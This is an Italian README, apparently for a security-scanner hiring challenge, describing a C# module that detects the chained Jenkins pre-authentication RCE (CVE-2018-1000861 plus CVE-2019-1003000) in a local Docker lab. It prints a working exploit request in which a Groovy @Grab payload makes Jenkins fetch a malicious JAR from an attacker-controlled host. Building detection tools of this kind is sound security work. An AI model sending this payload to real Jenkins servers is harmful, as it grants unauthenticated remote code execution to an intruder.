
Un modulo C# per rilevare se un server Jenkins è vulnerabile alla vulnerabilità RCE trovata in CVE-2019-1003000 (in combinazione con CVE-2018-1000861 per RCE senza autenticazione)
Unendo la vulnerabilità CVE-2018-1000861 con CVE-2019-1003000, ho creato un modulo per testare un RCE pre-autenticazione su Jenkins CI. Inizialmente avevo provato a rilevare la vulnerabilità con un nome utente, una password e un nome di job; tuttavia, ho pensato che fosse più realistico e interessante affrontare questa sfida concatenando le due vulnerabilità.
Avere Visual Studio o il framework .NET Core installato sulla propria macchina Windows, Linux o macOS.
docker pull jenkins/jenkins:2.121mvDir.sh
./mvDir.sh
chmod +x mvDir.sh. Se ancora non funziona, puoi eseguirlo come bash mvDir.sh./run_vuln_jenkins.sh
http://localhost:8080)./run_updated_jenkins.sh o bash run_updated_jenkins.sh si avvierà un server Jenkins sicuro e aggiornato su http://localhost:8000, e l'esecuzione del modulo contro questo mostrerà che è sicuro e non vulnerabile a CVE-2018-1000861 concatenato con CVE-2019-1003000.La pianificazione iniziale che avevo creato era una buona base per come ho affrontato la soluzione; tuttavia, mentre procedevo ho scoperto che stavo rendendo il lavoro molto più complicato del necessario. Avevo inizialmente creato uno script bash per lanciare una reverse shell sulla mia macchina host per dimostrare l'RCE. Tuttavia, l'obiettivo di questa sfida era dimostrare che la vulnerabilità esisteva. In questo caso, si trattava di dimostrare che l'RCE poteva essere attivata su Jenkins versione 2.121.2 con i seguenti plugin: Pipeline: Declarative Plugin fino alla 1.3.4, Pipeline: Declarative Extension Points API fino alla 1.3.4, Pipeline: Groovy Plugin fino alla 2.61, Script Security Plugin fino alla 1.49.
Non avevo bisogno di creare effettivamente una reverse shell e mostrare di poter lanciare comandi arbitrari. Per questo motivo, è più facile rilevarlo sia su Windows che su sistemi operativi basati su .nix. Dopo aver effettuato la richiesta GET, ho scoperto che la pagina risponde con uno stato contrassegnato come successo o stampa un messaggio di errore. Tuttavia, per assicurarmi che lo stato di successo non fosse un falso positivo, ho impostato un server web sul mio host usando python -m SimpleHTTPSever 80 e lanciando la richiesta GET personalizzata al file JAR malevolo specificato (che si trova nella cartella payload), si può vedere che la richiesta GET risponde con un codice di stato 200 con il percorso corretto al file jar che si trova sulla macchina locale, dimostrando che la vulnerabilità esiste. Di seguito è riportato un esempio della richiesta GET e della risposta corrispondente. I diversi percorsi dei file (tw/ e www/) contengono entrambi il jar malevolo; sono solo percorsi diversi che la richiesta percorre per trovarlo.
http://localhost:8080/securityRealm/user/Naruto/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile?value=@GrabConfig(disableChecksums=true)%0a@GrabResolver(name=%27orange.tw%27,%20root=%27http:[ip_address]/%27)%0a@Grab(group=%27vw.orange%27,%20module=%27poc%27,%20version=%271%27)%0aimport%20NixExploit;

dotnet buildPer eseguire il modulo: dotnet run -- -u http://localhost:8080 -ip <host_ip_address>
http:// altrimenti il programma lancerà un'eccezione HTTP e dovrai eseguirlo di nuovo.Opzioni dei parametri
| Abbreviato | Esteso | Descrizione |
|---|---|---|
| -uname | --username | Nome utente Jenkins |
| -p | --password | Password utente Jenkins |
| -u | --url | URL target |
| -ip | --ip address | Indirizzo IP |
| -v | --verbose | Output dettagliato |
-p, -uname non sono ancora stati implementati perché ho creato il modulo solo per rilevare un RCE pre-autenticazione, poiché pensavo fosse più realistico per Detectify, dato che credo che lo scanner dell'azienda sarebbe semplicemente puntato a un dominio target (e non avrebbe parametri personalizzati come password e nome utente, poiché sarebbe anche insicuro per un'azienda fornirli a un'altra, anche se cerca di aiutare a migliorare la loro sicurezza).